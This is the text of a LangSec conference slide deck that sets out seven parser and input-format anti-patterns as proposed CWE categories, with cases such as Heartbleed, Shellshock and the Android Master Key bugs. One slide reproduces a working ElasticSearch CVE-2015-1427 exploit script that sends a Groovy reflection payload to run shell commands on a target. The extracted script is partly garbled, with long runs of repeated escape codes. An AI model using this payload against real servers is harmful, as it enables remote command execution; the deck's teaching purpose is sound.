The Seven Turrets of Babel: Parser anti-patterns & how to expunge them

Sergey Bratus
with
Falcon Momot
Sven Hallberg
Meredith L. Patterson
Economics

- Pen test, code audit "2+2": 2 persons, 2 weeks
  - Attackers have "infinite" time to find just 1 vuln
- Proofs of exploitability take weeks, even when weakness is evident
- Confirming departures from safe design practices is more helpful than proof of exploitability
A set of CWEs to say:

- this parser is trouble
- this data format is trouble
- this protocol spec is trouble

"A bad feeling is not a finding"
A bad feeling is not a finding

"I HAVE A BAD FEELING ABOUT THIS."
Our program

• Give the "bad feeling" a solid theory
  • Why parsers/protocols that look like trouble are trouble
  • Enhance CWE-398 "Indicator of poor code quality"

• Give auditors a weapon against anti-patterns in parser code / data format design:
  • Enable LangSec CWE findings, with a taxonomy
  • Show actual mechanisms behind CWE-20 "Improper input validation" etc.
Existing CWEs: 20, 78, 79, 89, ...

2009 CWE/SANS Top 25

2010 CWE/SANS Top 25

2011 CWE/SANS Top 25 (and still current)
What's wrong with existing CWEs?

- "Improper input neutralization" in shell command, SQL, and web contexts (CWE-{78,79,89})
  - **Mechanism**, not root cause

- Wrong level of **abstraction. Consequence** of bad design, not description of one.
  - Almost the proof of the vuln (expensive to find)
What is *input validation* and what good is it?

- Everyone is telling everyone else to "validate inputs for security". But what does it mean?
  - Implication: "valid" == "safe".
- Not all ideas of "valid" are helpful: compiling & running *valid* C on your system is not safe!
- "Safe" means *predictably* not causing *unexpected operations*
Security: "valid" must mean predictable, or it's useless

• Being valid should be a judgment about behavior of inputs on the rest of the program

• Note: CWE's "neutralization" implies input is active, must be made "inert" to be safe

• "Every input is a program". Judging programs is very hard, unless they are very simple.
(Valid => predictable) || useless

- Make the judgment as **simple** as possible
  - i.e., checkable by code that can't run away & can be verified

- In general, "non-trivial" properties of Turing-complete programs **can't** be verified
  - but programs for simpler automata **can** be automatically verified
"Data format is code's destiny"

"Everything is an interpreter (=parser)"

"Every sufficiently complex input processor is indistinguishable from a VM running inputs as bytecode"
What is "trouble"?

Your program is a CPU/VM for adversary-controlled inputs

You must prevent run-away computation (a.k.a. exploit)

You must formulate & verify assumptions

\[ P \{ Q \} R \supseteq P' \{ Q' \} R' \supseteq P'' \{ Q'' \} R'' \supseteq \ldots \]

Even strict C.A.R. Hoare-style verification is \textbf{brittle} if \textbf{any} assumptions are violated
"Babel", a CWE

"Failure to communicate assumptions to interacting modules"
"Computation is not stable w.r.t. proofs"

Is the $P \{ Q \} R$ chain like this: or like this?
Recognizer Pattern to combat brittleness

Language grammar Spec

Recognizer for input language

Input

Reject invalid inputs

Processing: only well-typed objects, no raw inputs

Only valid/expected inputs, semantic actions past this line
Anti-patterns

1. Shotgun parsing
2. Input language > DCF
3. Non-minimalistic input-handing
4. Parser differentials
5. Incomplete specification
6. Overloaded fields
7. Permissive processing of invalid input

Christopher Ulrich, "Alchemy"
1. "Shotgun parser"

- Parsing and input-validating code is **mixed with** and **spread across** processing code.
- Input checks are **scattered** throughout the program.
- **No clear boundary** after which the input can be considered fully checked & **safe** to operate on.
- It's unclear from code **which properties** are **being** checked & **which have been** checked.
Heartbleed is a "shotgun parser" bug

Heartbeat sent to victim

SSLv3 record:
| Length | 4 bytes |

HeartbeatMessage

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_REQUEST</td>
<td>65535 bytes</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

hbtype

payload

```c
hbtype = *p++;
n2s(p, payload);
pl = p;

*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
```
Where OpenSSL's parser went wrong

```c
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;

if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                &s->s3->rrec.data[0], s->s3->rrec.length,
                s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0; /* silently discard */
    hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */
    pl = p;

if (hbtype == TLS1_HB_REQUEST)
{
    unsigned char *buffer, *bp;
    unsigned int write_length = 1 /* heartbeat type */ +
                2 /* heartbeat length */ +
                payload + padding;
    int r;
```
Premature processing of unvalidated input
2. Input languages more powerful than DCF

- "Validating input" is judging what **effect** it will have on code

- "Is it **safe** to process?" == "Will it cause **unexpected computation** on my program?"

- Make the judgment as **simple** as possible:
  "regular or context-free, syntactically valid == safe"

- Comp. power of recognizer **rises** with language's syntactic complexity (Chomsky hierarchy)

- Rice's theorem, halting problem: you **can't** judge effects of Turing-complete inputs. **Don't even try!**
Ethereum DAO disaster

"To find out what it does, you need to run it"

Recursion is trouble
3. Non-minimalistic input handling

- Input-handling code should do **nothing** more than **consume** input, **validate** it (correctly) & **deserialize** it

- Use the **exact** complexity needed to validate & create **well-typed** objects

- Reflection, evaluation, etc. **don't belong** in input-handling code (even if "sanitized")

- Any extra computational power exposed is **privilege** given away to **attacker**
CVE-2015-1427

"Sanitized" Groovy scripts in inputs + JVM Reflection = Pwnage

```
def banner():
    print """\x1b[1;32m

ELASTIC

SHELL

\x1b[0m"""

Exploit for ElasticSearch, CVE-2015-1427  Version: %s\x1b[0m"" %(__version__)

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(""""java.lang.Runtime"""").getRuntime().exec(""""%s"""").getText()""""}}"""
    (command)
    try:
        url = "http://%s:9200/_search?pretty" %target
        r = requests.post(url=url, data=payload)
        except Exception, e:
            sys.exit("Exception Hit"+str(e))
        values = json.loads(r.text)
        f\#!/usr/bin/python
        print f\#!/usr/bin/python
        exploit(target):
    print """{\*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
    while True:
        cmd = raw_input("\x1b[32m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m\x1b[1m\x1b[36m"""
```

```
"Ruby off Rails"

- "Why parse if we can eval(user_input)?"

- Oh so many. Joernchen of Phenoelit Phrack 69:12, Egor Homakov ("Don't let YAML.load close to any user input"), ...

- CVE-2016-6317, "Mitigate by casting the parameter to a string before passing it to Active Record"
"Shellshock" CVE-2014-6271

parse_and_execute(CGI_input)
Recognizer must be equal in power to input language


You can't parse [X]HTML with regex. Because HTML can't be parsed by regex. Regex is not a tool that can be used to correctly parse HTML. As I have answered in HTML-and-regex questions here so many times before, the use of regex will not allow you to consume HTML. Regular expressions are a tool that is insufficiently sophisticated to understand the constructs employed by HTML. HTML is not a regular language and hence cannot be parsed by regular expressions. Regex will devour your HTML parser, application and existence for all time like Visual Basic only worse he comes he comes do not fight he comes, his unholy radiance destroying all enlightenment, HTML tags leaking from your eyes like liquid pain, the song of regular expression parsing will extinguish the voices of mortal man from the sphere I can see it can you see it is beautiful the final sniffing of the lies of Man ALL IS LOST ALL IS LOST the pony he comes he comes he comes the ichor permeates all MY FACE MY FACE oh god no NO NOOOO NO stop the anges are not real ZALGO IS TONY THE PONY HE COMES
4. Parser differentials

- Parsers in a distributed system disagree about what a message is
  - X.509 /ASN.1 "PKI Layer cake": CA sees (and signs) a different CN in CSR than client in the signed cert
  - Android Master Key bugs: Java package verifier sees different package structure than C++ installer (~signed vs unsigned ints in zipped stream)
    - Also, an instance of overly complex input format (must deal with complexity of unzip before validating!)
5. Incomplete specification

• Leads to parser differentials (X.509 redux)

• Without clear assumptions, the C.A.R. Hoare's P \{Q\} R chain of assumptions & checks breaks

  • What is "valid" input? What's to be rejected?

• Doomed if more than one module (or programmer) is involved

  • Cf.: OpenSSL CVE-2016-0703, LibNSS CVE-2009-2404, ...
6. Overloaded fields

- Magic values **cannot** be consistently validated
  - What *language grammar* includes them?
  - What *type system* captures them?

- E.g.: CVE-2015-7871: NTP's crypto key field overloaded to mean "auth not required"
7. Permissive processing of invalid inputs

• **Reject, don't "fix"** invalid input. You cannot guarantee its computational behavior on your system.

  • famous example: IE8 anti-XSS created XSS vulns
  
  • PDF rewriting by Acrobat makes it hard to judge PDFs

  • Your program's attempts to "fix" invalid input **will** become a part of the attacker's **exploit machine**

  • Postel's Robustness principle is trouble!

• **Rewriting** is a powerful computation model! Don't give the attacker any of it.
CWEs

1. Shotgun parsing
2. Input language > DCF
3. Non-minimalistic input-handing
4. Parser differentials
5. Incomplete specification
6. Overloaded fields
7. Permissive processing of invalid input

Christopher Ulrich, "Alchemy"
See paper for more :)  

"The Seven Turrets of Babel: A Taxonomy of LangSec Errors and How to Expunge Them",

Falcon Darkstar Momot, Sergey Bratus, Sven M. Hallberg, Meredith L. Patterson,
in IEEE SecDev 2016, Nov. 2016, Boston

Part of a the solution: **Recognizer Pattern**

- **Language grammar Spec**

Input

- **Recognizer for input language**

Reject invalid inputs

- **Processing:** only well-typed objects, no raw inputs

Only valid/expected inputs, semantic actions past this line
Thank you!

Join us for

4th IEEE Security & Privacy LangSec Workshop

May 25, 2017
San Jose, CA

http://spw17.langsec.org

http://langsec.org